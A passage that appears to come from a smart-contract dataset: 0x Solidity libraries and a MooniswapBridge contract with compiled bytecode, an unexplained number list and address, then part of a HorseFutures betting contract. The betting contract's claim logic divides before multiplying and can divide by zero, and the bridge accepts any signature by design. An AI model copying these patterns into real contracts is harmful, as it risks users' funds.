)); } // Arrays are prefixed by a 256 bit length parameter index += 32; // Read the bytes32 from array memory assembly { mstore(add(b, index), input) } } /// @dev Reads a uint256 value from a position in a byte array. /// @param b Byte array containing a uint256 value. /// @param index Index in byte array of uint256 value. /// @return uint256 value from byte array. function readUint256( bytes memory b, uint256 index ) internal pure returns (uint256 result) { result = uint256(readBytes32(b, index)); return result; } /// @dev Writes a uint256 into a specific position in a byte array. /// @param b Byte array to insert <input> into. /// @param index Index in byte array of <input>. /// @param input uint256 to put into byte array. function writeUint256( bytes memory b, uint256 index, uint256 input ) internal pure { writeBytes32(b, index, bytes32(input)); } /// @dev Reads an unpadded bytes4 value from a position in a byte array. /// @param b Byte array containing a bytes4 value. /// @param index Index in byte array of bytes4 value. /// @return bytes4 value from byte array. function readBytes4( bytes memory b, uint256 index ) internal pure returns (bytes4 result) { if (b.length < index + 4) { LibRichErrors.rrevert(LibBytesRichErrors.InvalidByteOperationError( LibBytesRichErrors.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired, b.length, index + 4 )); } // Arrays are prefixed by a 32 byte length field index += 32; // Read the bytes4 from array memory assembly { result := mload(add(b, index)) // Solidity does not require us to clean the trailing bytes. // We do it anyway result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000) } return result; } /// @dev Writes a new length to a byte array. /// Decreasing length will lead to removing the corresponding lower order bytes from the byte array. /// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array. /// @param b Bytes array to write new length to. /// @param length New length of byte array. function writeLength(bytes memory b, uint256 length) internal pure { assembly { mstore(b, length) } } } library LibERC20Token { bytes constant private DECIMALS_CALL_DATA = hex"313ce567"; /// @dev Calls `IERC20Token(token).approve()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param allowance The allowance to set. function approve( address token, address spender, uint256 allowance ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).approve.selector, spender, allowance ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).approve()` and sets the allowance to the /// maximum if the current approval is not already >= an amount. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param spender The address that receives an allowance. /// @param amount The minimum allowance needed. function approveIfBelow( address token, address spender, uint256 amount ) internal { if (IERC20Token(token).allowance(address(this), spender) < amount) { approve(token, spender, uint256(-1)); } } /// @dev Calls `IERC20Token(token).transfer()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transfer( address token, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transfer.selector, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Calls `IERC20Token(token).transferFrom()`. /// Reverts if `false` is returned or if the return /// data length is nonzero and not 32 bytes. /// @param token The address of the token contract. /// @param from The owner of the tokens. /// @param to The address that receives the tokens /// @param amount Number of tokens to transfer. function transferFrom( address token, address from, address to, uint256 amount ) internal { bytes memory callData = abi.encodeWithSelector( IERC20Token(0).transferFrom.selector, from, to, amount ); _callWithOptionalBooleanResult(token, callData); } /// @dev Retrieves the number of decimals for a token. /// Returns `18` if the call reverts. /// @param token The address of the token contract. /// @return tokenDecimals The number of decimals places for the token. function decimals(address token) internal view returns (uint8 tokenDecimals) { tokenDecimals = 18; (bool didSucceed, bytes memory resultData) = token.staticcall(DECIMALS_CALL_DATA); if (didSucceed && resultData.length == 32) { tokenDecimals = uint8(LibBytes.readUint256(resultData, 0)); } } /// @dev Retrieves the allowance for a token, owner, and spender. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @param spender The address the spender. /// @return allowance The allowance for a token, owner, and spender. function allowance(address token, address owner, address spender) internal view returns (uint256 allowance_) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).allowance.selector, owner, spender ) ); if (didSucceed && resultData.length == 32) { allowance_ = LibBytes.readUint256(resultData, 0); } } /// @dev Retrieves the balance for a token owner. /// Returns `0` if the call reverts. /// @param token The address of the token contract. /// @param owner The owner of the tokens. /// @return balance The token balance of an owner. function balanceOf(address token, address owner) internal view returns (uint256 balance) { (bool didSucceed, bytes memory resultData) = token.staticcall( abi.encodeWithSelector( IERC20Token(0).balanceOf.selector, owner ) ); if (didSucceed && resultData.length == 32) { balance = LibBytes.readUint256(resultData, 0); } } /// @dev Executes a call on address `target` with calldata `callData` /// and asserts that either nothing was returned or a single boolean /// was returned equal to `true`. /// @param target The call target. /// @param callData The abi-encoded call data. function _callWithOptionalBooleanResult( address target, bytes memory callData ) private { (bool didSucceed, bytes memory resultData) = target.call(callData); if (didSucceed) { if (resultData.length == 0) { return; } if (resultData.length == 32) { uint256 result = LibBytes.readUint256(resultData, 0); if (result == 1) { return; } } } LibRichErrors.rrevert(resultData); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IWallet { bytes4 internal constant LEGACY_WALLET_MAGIC_VALUE = 0xb0671381; /// @dev Validates a hash with the `Wallet` signature type. /// @param hash Message hash that is signed. /// @param signature Proof of signing. /// @return magicValue `bytes4(0xb0671381)` if the signature check succeeds. function isValidSignature( bytes32 hash, bytes calldata signature ) external view returns (bytes4 magicValue); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract DeploymentConstants { // solhint-disable separate-by-one-line-in-contract // Mainnet addresses /////////////////////////////////////////////////////// /// @dev Mainnet address of the WETH contract. address constant private WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /// @dev Mainnet address of the KyberNetworkProxy contract. address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x9AAb3f75489902f3a48495025729a0AF77d4b11e; /// @dev Mainnet address of the `UniswapExchangeFactory` contract. address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95; /// @dev Mainnet address of the `UniswapV2Router01` contract. address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. address constant private ETH2DAI_ADDRESS = 0x794e6e91555438aFc3ccF1c5076A74F42133d08D; /// @dev Mainnet address of the `ERC20BridgeProxy` contract address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x8ED95d1746bf1E4dAb58d8ED4724f1Ef95B20Db0; ///@dev Mainnet address of the `Dai` (multi-collateral) contract address constant private DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; /// @dev Mainnet address of the `Chai` contract address constant private CHAI_ADDRESS = 0x06AF07097C9Eeb7fD685c692751D5C66dB49c215; /// @dev Mainnet address of the 0x DevUtils contract. address constant private DEV_UTILS_ADDRESS = 0x74134CF88b21383713E096a5ecF59e297dc7f547; /// @dev Kyber ETH pseudo-address. address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @dev Mainnet address of the dYdX contract. address constant private DYDX_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; /// @dev Mainnet address of the GST2 contract address constant private GST_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04; /// @dev Mainnet address of the GST Collector address constant private GST_COLLECTOR_ADDRESS = 0x000000D3b08566BE75A6DB803C03C85C0c1c5B96; /// @dev Mainnet address of the mStable mUSD contract. address constant private MUSD_ADDRESS = 0xe2f2a5C287993345a840Db3B0845fbC70f5935a5; /// @dev Mainnet address of the Mooniswap Registry contract address constant private MOONISWAP_REGISTRY = 0x71CD6666064C3A1354a3B4dca5fA1E2D3ee7D303; // // Ropsten addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0xd719c34261e099Fdb33030ac8909d5788D3039C4; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0x9c83dCE8CA20E9aAF9D3efc003b2ea62aBC08351; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xb344afeD348de15eb4a9e180205A2B0739628339; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0xC812AF3f3fBC62F76ea4262576EC0f49dB8B7f1c; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = 0x4E1000616990D83e56f4b5fC6CC8602DcfD20459; // // Rinkeby addresses /////////////////////////////////////////////////////// // /// @dev Mainnet address of the WETH contract. // address constant private WETH_ADDRESS = 0xc778417E063141139Fce010982780140Aa0cD5Ab; // /// @dev Mainnet address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x0d5371e5EE23dec7DF251A8957279629aa79E9C5; // /// @dev Mainnet address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xf5D915570BC477f9B8D6C0E980aA81757A3AaC36; // /// @dev Mainnet address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Mainnet address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0xA2AA4bEFED748Fba27a3bE7Dfd2C4b2c6DB1F49B; // ///@dev Mainnet address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = address(0); // /// @dev Mainnet address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Mainnet address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x46B5BC959e8A754c0256FFF73bF34A52Ad5CdfA9; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Mainnet address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Mainnet address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Mainnet address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); // // Kovan addresses ///////////////////////////////////////////////////////// // /// @dev Kovan address of the WETH contract. // address constant private WETH_ADDRESS = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; // /// @dev Kovan address of the KyberNetworkProxy contract. // address constant private KYBER_NETWORK_PROXY_ADDRESS = 0x692f391bCc85cefCe8C237C01e1f636BbD70EA4D; // /// @dev Kovan address of the `UniswapExchangeFactory` contract. // address constant private UNISWAP_EXCHANGE_FACTORY_ADDRESS = 0xD3E51Ef092B2845f10401a0159B2B96e8B6c3D30; // /// @dev Kovan address of the `UniswapV2Router01` contract. // address constant private UNISWAP_V2_ROUTER_01_ADDRESS = 0xf164fC0Ec4E93095b804a4795bBe1e041497b92a; // /// @dev Kovan address of the Eth2Dai `MatchingMarket` contract. // address constant private ETH2DAI_ADDRESS = 0xe325acB9765b02b8b418199bf9650972299235F4; // /// @dev Kovan address of the `ERC20BridgeProxy` contract // address constant private ERC20_BRIDGE_PROXY_ADDRESS = 0x3577552C1Fb7A44aD76BeEB7aB53251668A21F8D; // /// @dev Kovan address of the `Chai` contract // address constant private CHAI_ADDRESS = address(0); // /// @dev Kovan address of the `Dai` (multi-collateral) contract // address constant private DAI_ADDRESS = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa; // /// @dev Kovan address of the 0x DevUtils contract. // address constant private DEV_UTILS_ADDRESS = 0x9402639A828BdF4E9e4103ac3B69E1a6E522eB59; // /// @dev Kyber ETH pseudo-address. // address constant internal KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // /// @dev Kovan address of the dYdX contract. // address constant private DYDX_ADDRESS = address(0); // /// @dev Kovan address of the GST2 contract // address constant private GST_ADDRESS = address(0); // /// @dev Kovan address of the GST Collector // address constant private GST_COLLECTOR_ADDRESS = address(0); // /// @dev Mainnet address of the mStable mUSD contract. // address constant private MUSD_ADDRESS = address(0); /// @dev Overridable way to get the `KyberNetworkProxy` address. /// @return kyberAddress The `IKyberNetworkProxy` address. function _getKyberNetworkProxyAddress() internal view returns (address kyberAddress) { return KYBER_NETWORK_PROXY_ADDRESS; } /// @dev Overridable way to get the WETH address. /// @return wethAddress The WETH address. function _getWethAddress() internal view returns (address wethAddress) { return WETH_ADDRESS; } /// @dev Overridable way to get the `UniswapExchangeFactory` address. /// @return uniswapAddress The `UniswapExchangeFactory` address. function _getUniswapExchangeFactoryAddress() internal view returns (address uniswapAddress) { return UNISWAP_EXCHANGE_FACTORY_ADDRESS; } /// @dev Overridable way to get the `UniswapV2Router01` address. /// @return uniswapRouterAddress The `UniswapV2Router01` address. function _getUniswapV2Router01Address() internal view returns (address uniswapRouterAddress) { return UNISWAP_V2_ROUTER_01_ADDRESS; } /// @dev An overridable way to retrieve the Eth2Dai `MatchingMarket` contract. /// @return eth2daiAddress The Eth2Dai `MatchingMarket` contract. function _getEth2DaiAddress() internal view returns (address eth2daiAddress) { return ETH2DAI_ADDRESS; } /// @dev An overridable way to retrieve the `ERC20BridgeProxy` contract. /// @return erc20BridgeProxyAddress The `ERC20BridgeProxy` contract. function _getERC20BridgeProxyAddress() internal view returns (address erc20BridgeProxyAddress) { return ERC20_BRIDGE_PROXY_ADDRESS; } /// @dev An overridable way to retrieve the `Dai` contract. /// @return daiAddress The `Dai` contract. function _getDaiAddress() internal view returns (address daiAddress) { return DAI_ADDRESS; } /// @dev An overridable way to retrieve the `Chai` contract. /// @return chaiAddress The `Chai` contract. function _getChaiAddress() internal view returns (address chaiAddress) { return CHAI_ADDRESS; } /// @dev An overridable way to retrieve the 0x `DevUtils` contract address. /// @return devUtils The 0x `DevUtils` contract address. function _getDevUtilsAddress() internal view returns (address devUtils) { return DEV_UTILS_ADDRESS; } /// @dev Overridable way to get the DyDx contract. /// @return exchange The DyDx exchange contract. function _getDydxAddress() internal view returns (address dydxAddress) { return DYDX_ADDRESS; } /// @dev An overridable way to retrieve the GST2 contract address. /// @return gst The GST contract. function _getGstAddress() internal view returns (address gst) { return GST_ADDRESS; } /// @dev An overridable way to retrieve the GST Collector address. /// @return collector The GST collector address. function _getGstCollectorAddress() internal view returns (address collector) { return GST_COLLECTOR_ADDRESS; } /// @dev An overridable way to retrieve the mStable mUSD address. /// @return musd The mStable mUSD address. function _getMUsdAddress() internal view returns (address musd) { return MUSD_ADDRESS; } /// @dev An overridable way to retrieve the Mooniswap registry address. /// @return musd The Mooniswap registry address. function _getMooniswapAddress() internal view returns (address registry) { return MOONISWAP_REGISTRY; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract IERC20Bridge { /// @dev Result of a successful bridge call. bytes4 constant internal BRIDGE_SUCCESS = 0xdc1600f3; /// @dev Emitted when a trade occurs. /// @param inputToken The token the bridge is converting from. /// @param outputToken The token the bridge is converting to. /// @param inputTokenAmount Amount of input token. /// @param outputTokenAmount Amount of output token. /// @param from The `from` address in `bridgeTransferFrom()` /// @param to The `to` address in `bridgeTransferFrom()` event ERC20BridgeTransfer( address inputToken, address outputToken, uint256 inputTokenAmount, uint256 outputTokenAmount, address from, address to ); /// @dev Transfers `amount` of the ERC20 `tokenAddress` from `from` to `to`. /// @param tokenAddress The address of the ERC20 token to transfer. /// @param from Address to transfer asset from. /// @param to Address to transfer asset to. /// @param amount Amount of asset to transfer. /// @param bridgeData Arbitrary asset data needed by the bridge contract. /// @return success The magic bytes `0xdc1600f3` if successful. function bridgeTransferFrom( address tokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success); } /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ interface IMooniswapRegistry { function pools(address token1, address token2) external view returns(address); } interface IMooniswap { function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, address referral ) external payable returns(uint256 returnAmount); } // solhint-disable space-after-comma // solhint-disable not-rely-on-time contract MooniswapBridge is IERC20Bridge, IWallet, DeploymentConstants { struct TransferState { IMooniswap pool; uint256 fromTokenBalance; IEtherToken weth; uint256 boughtAmount; address fromTokenAddress; address toTokenAddress; } // solhint-disable no-empty-blocks /// @dev Payable fallback to receive ETH from uniswap. function () external payable {} /// @dev Callback for `IERC20Bridge`. Tries to buy `amount` of /// `toTokenAddress` tokens by selling the entirety of the `fromTokenAddress` /// token encoded in the bridge data. /// @param toTokenAddress The token to buy and transfer to `to`. /// @param from The maker (this contract). /// @param to The recipient of the bought tokens. /// @param amount Minimum amount of `toTokenAddress` tokens to buy. /// @param bridgeData The abi-encoded path of token addresses. Last element must be toTokenAddress /// @return success The magic bytes if successful. function bridgeTransferFrom( address toTokenAddress, address from, address to, uint256 amount, bytes calldata bridgeData ) external returns (bytes4 success) { // State memory object to avoid stack overflows. TransferState memory state; // Decode the bridge data to get the `fromTokenAddress`. address fromTokenAddress = abi.decode(bridgeData, (address)); // Get the weth contract. state.weth = IEtherToken(_getWethAddress()); // Get our balance of `fromTokenAddress` token. state.fromTokenBalance = IERC20Token(fromTokenAddress).balanceOf(address(this)); state.fromTokenAddress = fromTokenAddress == address(state.weth) ? address(0) : fromTokenAddress; state.toTokenAddress = toTokenAddress == address(state.weth) ? address(0) : toTokenAddress; state.pool = IMooniswap( IMooniswapRegistry(_getMooniswapAddress()).pools( state.fromTokenAddress, state.toTokenAddress ) ); // withdraw WETH to ETH if (state.fromTokenAddress == address(0)) { state.weth.withdraw(state.fromTokenBalance); } else { // Grant the pool an allowance. LibERC20Token.approveIfBelow( state.fromTokenAddress, address(state.pool), state.fromTokenBalance ); } uint256 ethValue = state.fromTokenAddress == address(0) ? state.fromTokenBalance : 0; state.boughtAmount = state.pool.swap.value(ethValue)( state.fromTokenAddress, state.toTokenAddress, state.fromTokenBalance, amount, address(0) ); // Deposit to WETH if (state.toTokenAddress == address(0)) { state.weth.deposit.value(state.boughtAmount)(); } // Transfer funds to `to` IERC20Token(toTokenAddress).transfer(to, state.boughtAmount); emit ERC20BridgeTransfer( // input token fromTokenAddress, // output token toTokenAddress, // input token amount state.fromTokenBalance, // output token amount state.boughtAmount, from, to ); return BRIDGE_SUCCESS; } /// @dev `SignatureType.Wallet` callback, so that this bridge can be the maker /// and sign for itself in orders. Always succeeds. /// @return magicValue Success bytes, always. function isValidSignature( bytes32, bytes calldata ) external view returns (bytes4 magicValue) { return LEGACY_WALLET_MAGIC_VALUE; } }
0x6080604052600436106100295760003560e01c80631626ba7e1461002b578063c2df82e614610061575b005b34801561003757600080fd5b5061004b6100463660046108f8565b610081565b6040516100589190610aba565b60405180910390f35b34801561006d57600080fd5b5061004b61007c36600461084a565b610091565b63b067138160e01b5b9392505050565b600061009b610751565b60006100a98486018661082c565b90506100b36104d1565b6001600160a01b03908116604080850191909152516370a0823160e01b8152908216906370a08231906100ea9030906004016109da565b60206040518083038186803b15801561010257600080fd5b505afa158015610116573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061013a919081019061094e565b602083015260408201516001600160a01b0382811691161461015c578061015f565b60005b6001600160a01b03908116608084015260408301518a82169116146101845788610187565b60005b6001600160a01b031660a083015261019d6104e9565b6001600160a01b031663901754d783608001518460a001516040518363ffffffff1660e01b81526004016101d29291906109e8565b60206040518083038186803b1580156101ea57600080fd5b505afa1580156101fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506102229190810190610806565b6001600160a01b0390811683526080830151166102a45781604001516001600160a01b0316632e1a7d4d83602001516040518263ffffffff1660e01b815260040161026d9190610af0565b600060405180830381600087803b15801561028757600080fd5b505af115801561029b573d6000803e3d6000fd5b505050506102bb565b6102bb826080015183600001518460200151610501565b60808201516000906001600160a01b0316156102d85760006102de565b82602001515b905082600001516001600160a01b031663d5bcb9b58285608001518660a0015187602001518c60006040518763ffffffff1660e01b8152600401610326959493929190610a03565b6020604051808303818588803b15801561033f57600080fd5b505af1158015610353573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250610378919081019061094e565b606084015260a08301516001600160a01b03166103ec5782604001516001600160a01b031663d0e30db084606001516040518263ffffffff1660e01b81526004016000604051808303818588803b1580156103d257600080fd5b505af11580156103e6573d6000803e3d6000fd5b50505050505b606083015160405163a9059cbb60e01b81526001600160a01b038c169163a9059cbb9161041d918c91600401610a9f565b602060405180830381600087803b15801561043757600080fd5b505af115801561044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061046f91908101906108da565b507f349fc08071558d8e3aa92dec9396e4e9f2dfecd6bb9065759d1932e7da43b8a9828b856020015186606001518d8d6040516104b196959493929190610a45565b60405180910390a15063dc1600f360e01b925050505b9695505050505050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290565b7371cd6666064c3a1354a3b4dca5fa1e2d3ee7d30390565b604051636eb1769f60e11b815281906001600160a01b0385169063dd62ed3e9061053190309087906004016109e8565b60206040518083038186803b15801561054957600080fd5b505afa15801561055d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610581919081019061094e565b1015610594576105948383600019610599565b505050565b60405160609063095ea7b360e01b906105b89085908590602401610a9f565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915290506105f684826105fc565b50505050565b60006060836001600160a01b03168360405161061891906109ce565b6000604051808303816000865af19150503d8060008114610655576040519150601f19603f3d011682016040523d82523d6000602084013e61065a565b606091505b5091509150811561069e5780516106725750506106a7565b80516020141561069e5760006106898260006106ab565b9050806001141561069c575050506106a7565b505b6105f6816106c0565b5050565b60006106b783836106c8565b90505b92915050565b805160208201fd5b600081602001835110156106ee576106ee6106e960058551856020016106f7565b6106c0565b50016020015190565b6060632800659560e01b84848460405160240161071693929190610ac8565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915290509392505050565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a081019190915290565b80356106ba81610b97565b80516106ba81610b97565b80516106ba81610bab565b80356106ba81610bb4565b60008083601f8401126107c457600080fd5b50813567ffffffffffffffff8111156107dc57600080fd5b6020830191508360018202830111156107f457600080fd5b9250929050565b80516106ba81610bb4565b60006020828403121561081857600080fd5b60006108248484610791565b949350505050565b60006020828403121561083e57600080fd5b60006108248484610786565b60008060008060008060a0878903121561086357600080fd5b600061086f8989610786565b965050602061088089828a01610786565b955050604061089189828a01610786565b94505060606108a289828a016107a7565b935050608087013567ffffffffffffffff8111156108bf57600080fd5b6108cb89828a016107b2565b92509250509295509295509295565b6000602082840312156108ec57600080fd5b6000610824848461079c565b60008060006040848603121561090d57600080fd5b600061091986866107a7565b935050602084013567ffffffffffffffff81111561093657600080fd5b610942868287016107b2565b92509250509250925092565b60006020828403121561096057600080fd5b600061082484846107fb565b61097581610b3d565b82525050565b61097581610b07565b61097581610b1a565b600061099882610afe565b6109a28185610b02565b93506109b2818560208601610b5e565b9290920192915050565b61097581610b48565b61097581610b17565b600061008a828461098d565b602081016106ba828461096c565b604081016109f6828561097b565b61008a602083018461097b565b60a08101610a11828861097b565b610a1e602083018761097b565b610a2b60408301866109c5565b610a3860608301856109c5565b6104c7608083018461096c565b60c08101610a53828961097b565b610a60602083018861097b565b610a6d60408301876109c5565b610a7a60608301866109c5565b610a87608083018561097b565b610a9460a083018461097b565b979650505050505050565b60408101610aad828561097b565b61008a60208301846109c5565b602081016106ba8284610984565b60608101610ad682866109bc565b610ae360208301856109c5565b61082460408301846109c5565b602081016106ba82846109c5565b5190565b919050565b60006106ba82610b31565b151590565b90565b6001600160e01b03191690565b80610b0281610b8a565b6001600160a01b031690565b60006106ba82610b53565b60006106ba82610b27565b60006106ba82610b07565b60005b83811015610b79578181015183820152602001610b61565b838111156105f65750506000910152565b60088110610b9457fe5b50565b610ba081610b07565b8114610b9457600080fd5b610ba081610b12565b610ba081610b1756fea365627a7a7231582088034d4797de50606fc409b29605aaee9470fadeaf51709766e29ede6c887d3c6c6578706572696d656e74616cf564736f6c63430005110040
[ 12, 16, 9, 11 ]
0xf384f143641afc68dbb84ef04689597a1dfc7d54
pragma solidity ^0.4.24; contract BettingInterface { // place a bet on a coin(horse) lockBetting function placeBet(bytes32 horse) external payable; // method to claim the reward amount function claim_reward() external; mapping (bytes32 => bool) public winner_horse; function checkReward() external constant returns (uint); } /** * @dev Allows to bet on a race and receive future tokens used to withdraw winnings */ contract HorseFutures { event Claimed(address indexed Race, uint256 Count); event Selling(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Buying(bytes32 Id, uint256 Amount, uint256 Price, address indexed Race, bytes32 Horse, address indexed Owner); event Canceled(bytes32 Id, address indexed Owner,address indexed Race); event Bought(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event Sold(bytes32 Id, uint256 Amount, address indexed Owner, address indexed Race); event BetPlaced(address indexed EthAddr, address indexed Race); struct Offer { uint256 Amount; bytes32 Horse; uint256 Price; address Race; bool BuyType; } mapping(address => mapping(address => mapping(bytes32 => uint256))) ClaimTokens; mapping(address => mapping (bytes32 => uint256)) TotalTokensCoinRace; mapping(address => bool) ClaimedRaces; mapping(address => uint256) toDistributeRace; //market mapping(bytes32 => Offer) market; mapping(bytes32 => address) owner; mapping(address => uint256) public marketBalance; function placeBet(bytes32 horse, address race) external payable _validRace(race) { BettingInterface raceContract = BettingInterface(race); raceContract.placeBet.value(msg.value)(horse); uint256 c = uint256(msg.value / 1 finney); ClaimTokens[msg.sender][race][horse] += c; TotalTokensCoinRace[race][horse] += c; emit BetPlaced(msg.sender, race); } function getOwnedAndTotalTokens(bytes32 horse, address race) external view _validRace(race) returns(uint256,uint256) { return (ClaimTokens[msg.sender][race][horse],TotalTokensCoinRace[race][horse]); } // required for the claimed ether to be transfered here function() public payable { } function claim(address race) external _validRace(race) { BettingInterface raceContract = BettingInterface(race); if(!ClaimedRaces[race]) { toDistributeRace[race] = raceContract.checkReward(); raceContract.claim_reward(); ClaimedRaces[race] = true; } uint256 totalWinningTokens = 0; uint256 ownedWinningTokens = 0; bool btcWin = raceContract.winner_horse(bytes32("BTC")); bool ltcWin = raceContract.winner_horse(bytes32("LTC")); bool ethWin = raceContract.winner_horse(bytes32("ETH")); if(btcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("BTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("BTC")]; ClaimTokens[msg.sender][race][bytes32("BTC")] = 0; } if(ltcWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("LTC")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("LTC")]; ClaimTokens[msg.sender][race][bytes32("LTC")] = 0; } if(ethWin) { totalWinningTokens += TotalTokensCoinRace[race][bytes32("ETH")]; ownedWinningTokens += ClaimTokens[msg.sender][race][bytes32("ETH")]; ClaimTokens[msg.sender][race][bytes32("ETH")] = 0; } uint256 claimerCut = toDistributeRace[race] / totalWinningTokens * ownedWinningTokens; msg.sender.transfer(claimerCut); 